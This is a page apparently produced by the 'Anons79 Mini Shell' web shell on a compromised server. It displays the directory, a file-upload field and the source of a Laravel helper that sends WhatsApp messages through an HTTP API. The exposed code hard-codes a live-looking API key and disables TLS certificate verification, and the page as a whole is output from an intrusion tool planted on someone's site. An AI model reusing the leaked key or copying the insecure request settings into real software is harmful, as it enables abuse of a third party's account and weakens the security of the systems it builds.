Anons79 Mini Shell

Directory : /home/aplikasiposinfo/public_html/saksi.isranhadikaltim.id/app/Helpers/
Upload File :
Current File : /home/aplikasiposinfo/public_html/saksi.isranhadikaltim.id/app/Helpers/Helper.php

<?php
namespace App\Helpers;

class Helper {
    public static function sendWa($number, $message,$file=null)
    {

        //jika nomor kosong
        if ($number === "" || $number === null || strlen($number) < 4) {
            return "nomor hp kosong";
        }
        $ptn = "/^0/";  // Regex
        $rpltxt = "+62";  // Replacement string
        $number = preg_replace($ptn, $rpltxt, "$number");
        $key = '7e10303d8e75d503ef83ab381ac95f692a476a9766c51090';
        $url = 'http://116.203.191.58/api/async_send_message';
        $data = array(
            "phone_no" => $number,
            "key" => $key,
            "message" => $message,
            // "url"        =>$img_url,
        );
        $data_string = json_encode($data);
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_VERBOSE, 0);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 360);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt(
            $ch,
            CURLOPT_HTTPHEADER,
            array(
                'Content-Type: application/json',
                'Content-Length: ' . strlen($data_string)
            )
        );
        $res = curl_exec($ch);
        curl_close($ch);
        // Log::info("WA : ".$res);

        if($file){
            
            $url = 'http://116.203.191.58/api/async_send_file_url';
            $data = array(
                "phone_no" => $number,
                "key" => $key,
                "url" => $file,
                // "url"        =>$img_url,
            );
            $data_string = json_encode($data);
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_VERBOSE, 0);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0);
            curl_setopt($ch, CURLOPT_TIMEOUT, 360);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt(
                $ch,
                CURLOPT_HTTPHEADER,
                array(
                    'Content-Type: application/json',
                    'Content-Length: ' . strlen($data_string)
                )
            );
            $res = curl_exec($ch);
            curl_close($ch);
        }

        return $res;

    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]